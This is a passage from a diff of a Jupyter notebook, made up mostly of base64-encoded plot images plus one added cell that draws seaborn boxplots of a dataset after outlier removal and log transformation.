Y2OxYMECgcmIiIj+Q5Ik7N+/H0ql0tYfvKKiAteuXUNCQgJkMpnghMSCGxERERHRfwkMDERgYKDd2tSpUwWlGTzUajUUCoXoGEREBCAgIACJiYnIy8uzTSq1WCxISUmBJEnYsGGD4IQk6+UlfSIiIiIij6XRaFBWVgZ/f3+79fb2dkyaNAn19fWCkpEIkiRxaAKRC1CpVDh69CjCwsLs1k+fPo0ZM2agra1NUDK6jbOeiYiIiIg8WENDAywWS5/1rq4uXLp0SUAiEonnMYhcQ09PD2pra/us19bWwmq1CkhE/4tXSomIiIiIPNAXX3xhe1xUVASlUml7brFYYDabERISIiAZOVp3dzeGDh2KEydOYMKECT/63u+++w5BQUEDlIyI7pder8eyZctQV1dna3tQWlqK7Oxs6PV6wekI4JVSIiIiIiKPJJff/bKLQqFASEgINm3ahGeeeWYAU5GzaDQa7N+/324YCBG5LqvVio0bN2Lz5s1oamoCAAQFBSE1NRWZmZm2vm4kDgtuREREREQepqamBpGRkfDy8sLYsWNRVlaGkSNHio5FTvThhx9i3759KCgowIgRI0THIaIHdPPmTfT29sLHxwcdHR1oaGiA2WxGREQE5s2bJzoegQU3IiIiIiKP4+XlhebmZqhUqrsOTSD3Eh0djXPnzqG7uxtqtRrDhg2ze72yslJQMiK6H3FxcdDpdHj99dfR3t6O8PBwKBQKtLa2IicnBytWrBAd0eOxhxsRERERkYfx9fVFfX09VCoVGhsb2WDbAyQkJIiOQEQOVFlZidzcXABAYWEhAgICUFVVhb1798JoNLLgNgiw4EZERERE5GEWLlwIrVaL0aNHAwCmTJly134/9fX1AxmNnKS+vh6vvvoqtFqt6ChE5ACdnZ0YPnw4AMBkMkGn00Eul2P69OlobGwUnI4AFtyIiIiIiDzO9u3bodPpcO7cOaSmpiI5Odn2wY3c07Vr1/Dzn/8carUaer0er7zyCqeRErmwcePG4cCBA1iwYAGKiopgMBgAAFeuXIEkSYLTEcAebkREREREHk2v12PLli0suHmAlpYWFBQUYNeuXfjuu+/ws5/9DK+++ioSEhKgUChExyOifigsLMTixYthsVgQGxsLk8kEAMjOzsaRI0dw8OBBwQmJBTciIiIiIiIPU1lZiZ07d2LHjh14+OGHkZSUhJSUFISGhoqORkT3qLm5GU1NTYiKioJcLgcAHD9+HJIkITw8XHA6YsGNiIiIiMiD6XS6e37vvn37nJiEBkpTUxPy8/Oxc+dOXLx4EQsXLsSlS5dQUlKC9evX266mERHR/ZOLDkBEREREROJIkgSz2Yzy8nLbWkVFBYqLiyFJEpRKpe2LXFd3dzf27t2LZ555Bmq1Gnv27EF6ejr++c9/YteuXfjLX/6Czz//HO+9957oqEREboFDE4iIiIiIPFhAQAASExORl5dnm1RqsViQkpICSZKwYcMGwQnJEUaPHg2r1YpFixbh+PHj+OlPf9rnPXPmzIGvr++AZyMicke8UkpERERE5MFUKhWOHj2KsLAwu/XTp09jxowZaGtrE5SMHKmgoAAvvPACHnroIdFRiIg8Aq+UEhERERF5sJ6eHtTW1vZZr62thdVqFZCInOGll15isY2IaADxSikRERERkQfT6/VYtmwZ6urqMHXqVABAaWkpsrOzodfrBacjIiJyTbxSSkRERETkwaxWKzZu3IjNmzejqakJABAUFITU1FRkZmba+roRERHRvWPBjYiIiIjIg928eRO9vb3w8fFBR0cHGhoaYDabERERgXnz5omOR0RE5JLYw42IiIiIyIM999xzyM/PB3DrtFtcXBxycnKQkJCADz74QHA6IiIi18SCGxERERGRB6usrERMTAwAoLCwEAEBAWhsbER+fj62bNkiOB0REZFrYsGNiIiIiMiDdXZ2Yvjw4QAAk8kEnU4HuVyO6dOno7GxUXA6IiIi18SCGxERERGRBxs3bhwOHDiACxcuoKioCHFxcQCAK1euQJIkwemIiIhcEwtuREREREQezGg04o033kBISAimTZuGJ598EsCt027R0dGC0xEREbkmTiklIiIiIvJwzc3NaGpqQlRUFOTyW3vyx48fhyRJCA8PF5yOiIjI9bDgRkRERERERERE5EC8UkpERERERERERORALLgRERERERERERE5EAtuREREREREREREDsSCGxERERERERERkQOx4EZERERERERERORALLgRERERERERERE5EAtuREREREREREREDsSCGxERERERERERkQP9GyDzT4ZoP5p/AAAAAElFTkSuQmCC\n"
+          },
+          "metadata": {}
+        }
+      ],
+      "source": [
+        "# Plot boxplots after outlier removal and log transformation\n",
+        "# This helps verify reduced skewness and fewer extreme values in the dataset\n",
+        "plt.figure(figsize=(15,7))\n",
+        "plt.xticks(rotation=90)\n",
+        "sns.boxplot(df_copy)\n"
       ]
-     },
-     "execution_count": 24,
-     "metadata": {},
-     "output_type": "execute_result"
     },
     {
-     "data": {
-      "image/png": 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AiQRuAAAAAFAigRsAAAAAlEjgBgAAAAAlErgBAAAAQIkEbgAAAABQIoEbAAAAAJRI4AYAAAAAJRK4AQAAAECJBG4AAAAAUCKBGwAAAACUSOAGAAAAACUSuAEAAABAiQRuAAAAAFAigRsAAAAAlEjgBgAAAAAlErgBAAAAQIkEbgAAAABQIoEbAAAAAJRI4AYAAAAAJRK4AQAAAECJBG4AAAAAUCKBGwAAAACUSOAGAAAAACUSuAEAAABAiQRuAAAAAFAigRsAAAAAlEjgBgAAAAAlErgBAAAAQIkEbgAAAABQIoEbAAAAAJRI4AYAAAAAJRK4AQAAAECJBG4AAAAAUCKBGwAAAACUSOAGAAAAACUSuAEAAABAiQRuAAAAAFAigRsAAAAAlEjgBgAAAAAlErgBAAAAQIkEbgAAAABQIoEbAAAAAJRI4AYAAAAAJRK4AQAAAECJBG4AAAAAUCKBGwAAAACUSOAGAAAAACUSuAEAAABAiQRuAAAAAFAigRsAAAAAlEjgBgAAAAAlErgBAAAAQGcO3I4++ui0/PLLp5lmminNMcccadCgQWnUqFGt7vPRRx+lXXfdNc0666ypZ8+eaaONNkqvvfZaq/u8+OKLad11100zzDBD/j2/+tWv0meffdbqPrfeemv67ne/m6abbrq08MILp3PPPXe8x3PqqaemBRZYIPXo0SP1798/3XvvvWVvMgAAAABMucDttttuy2Ha3XffnW666ab06aefpgEDBqT333+/5T577bVXuuaaa9Lw4cPz/V955ZW04YYbttz++eef57Dtk08+SXfeeWc677zzcph26KGHttzn+eefz/dZc80108MPP5z23HPPtP3226cbb7yx5T6XXnpp2nvvvdNhhx2WHnzwwbTUUkulgQMHptdff73szQYAAACArFuj0WikKeiNN97IFWoRrK222mpp7NixafbZZ08XX3xx+ulPf5rvM3LkyLTYYoulu+66K6244orp+uuvT+utt14O4vr27ZvvM2zYsLT//vvn3zfttNPm7//617+mxx9/vOVvbbrppundd99NN9xwQ/45Ktqi2u6UU07JP3/xxRdp3nnnTbvvvns64IADJvrYx40bl3r37p0fc69evabQ/xAAAAAAXcGkZkVTvIdbPIDQp0+f/PWBBx7IVW9rr712y30WXXTRNN988+XALcTXJZd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X/eMf/0hV9sknn6Srr746vfzyy+kb3/hG+vGPf5ymnXbajn5YAJPs888/T4899lh666230qyzzpqWXHLJNNVUU3X0w4La6NZoNBqp4k499dR03HHHpVdffTU3K/3973+fVlhhhYn+u3HjxuUwIEKCXr16ddgBbdUPbH/0ox+ljz76aLzre/Toka6//vpUVUcccUS69dZbW35eY4010mGHHZaqasstt8wnLW3FScyFF16YqqyOJ6p19MADD6R999235efjjz8+LbvssqnK6vjajqbte+65Z8vP0QA9ji2qrI7HJsOGDUuXXnrpeNdvsskmaaedduqQxwRlqeO+u45uv/32XMQQ58CFOeecMxc5rLbaaqmq6vj6PuaYY9KNN97Y8vPAgQPTAQcckLqajz76KL344ouTfP+471FHHZUOOuigNN98803yv4v7Rtbw35jUrKjygVscLG299db5wKl///75wHj48OFp1KhRaY455uhUgVvbncM000yTPv3000rvLCYUtlU9dKvbycuEwrY6hG51e67rqo7Ps21urY7bXNVtn1DYVhC60ZXVcT9W17Dt8MMPTyuttFLaYost0oILLpief/75dNFFF6W77ror31bF0K2Or+8qbfNTTz2VfvGLX0zxv3PGGWekRRZZ5L/6HQK3/xMh2/LLL5+XEg9ffPFFmnfeedPuu+8+0dT36wzcmqeRxqjDxhtv3HLbZZddlkcnqja9NKYVbrrpphO93yWXXFKp6aV1O3mJ90+8bpvNPPPM6d133211Xbz+qza9tG7PdV21fZ5XWWWVdMcdd1T6ea7ja7vtNq+11lrp5ptvrtU2f5mqbHtMI43KgGY/+clP0lVXXdXquqgkML2UrqaO++66TiONwe5vfvOb6Te/+U3q3v3/t22Pc+FDDjkkh28XXHBBpaaX1vH1XbVt/mgyK9y+qq+zwq3SPdzioCmm+Bx44IEt18UOZ+21187J/n/jmWeemeSlySdlefLoEVKISqATTzyx3ftFKBE7yjKWJ4+lyTtytae2YVvzzqB55xH360o7iolNIy1sttlmaccdd2z5+cwzz0x/+tOfWu7XVaaXTmzHuP/++7d8v91226UVV1yx5ee77747nXPOOfn7bbfdNh177LFTfOc4ISNHjkwvvfTSJN03Kk/ffPPNL73PH//4x1Y///znP2/3tnitN9/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9+++/n2+roltuuSV99NFHqY4++eST9NJLL6UXX3yx1aWqLrjggvS9730vzT333OmFF17I15100knpqquuSlX3zDPPpBtvvDF9+OGH+edGo5Gqas0110xvv/32eNePHTs231ZFv/71r9MHH3ww3vXxfMdtVEed92PUx6effpqefvrpvN+ug/fffz+dc8456aCDDkqnnHJKeuutt1Kn1KBTOf/88xsrr7xyY6655mqMHj06X3fiiSc2rrzyykYVPfDAA41HH3205efYzp/85CeNAw88sPHxxx836uKzzz5rPPTQQ4233367UUULLLBAY8YZZ2x069at0adPn3yJ7+O6vn375u8XWmihxosvvtioitim1157bbzr47qpp566UdXn+V//+lf+/m9/+1tj5plnbtx4442NwYMHN37wgx80qqp79+7tPtdvvPFGY6qppmpUUbx3p5tuusYqq6zSOPjggxs33XRT44MPPmhU2VNPPZW3N57v5ku81+NrFZ122mmN2WabrXHkkUc2pp9++sazzz6brz/nnHMaa6yxRqOq3nzzzcZaa63V8twW273ddts19t5770YVxba+/vrr410/atSoxkwzzdSo0747nv8qvac32GCDSb5UUV33Y7G/Gjdu3HjXv/fee/k2urZjjz225bgrziP32WefxrTTTpv3XXGeEc/xJ5980qiSxRZbrPHWW2/l7+OcMc47evfu3Vh++eXzueUcc8zReO655xqdjQq3TuT0009Pe++9d1pnnXVyZUxR8TPzzDPnUZgq+sUvfpGeeuqp/P1zzz2XNt100zTDDDOk4cOHp/322y9V1Z577pnOPvvs/H08z6uvvnr67ne/m+add9506623pqr57W9/m5Zffvk86hKjD3GJ571///7p5JNPztUhc845Z9prr71SV/foo4/mS3jiiSdafo7LQw89lJ/3qPiqoldffTW/hsO1116bK9wGDBiQ38v33XdfqpqoVoxRxKh6iQq3+Lm4vPPOO+m6665Lc8wxR6qi2L6bb745/ehHP0r33ntv2mCDDfJnVVQQHHzwwamKtt1229S9e/f82n7ggQfSgw8+mC/xvo6vVVRUIcfo8VRTTdVy/XLLLZcee+yxVFXxWTT11FPnz6Y4Jilssskm6YYbbkhVsuGGG+ZLt27d8mu8+DkuP/nJT9LAgQPTyiuvnKoo9t2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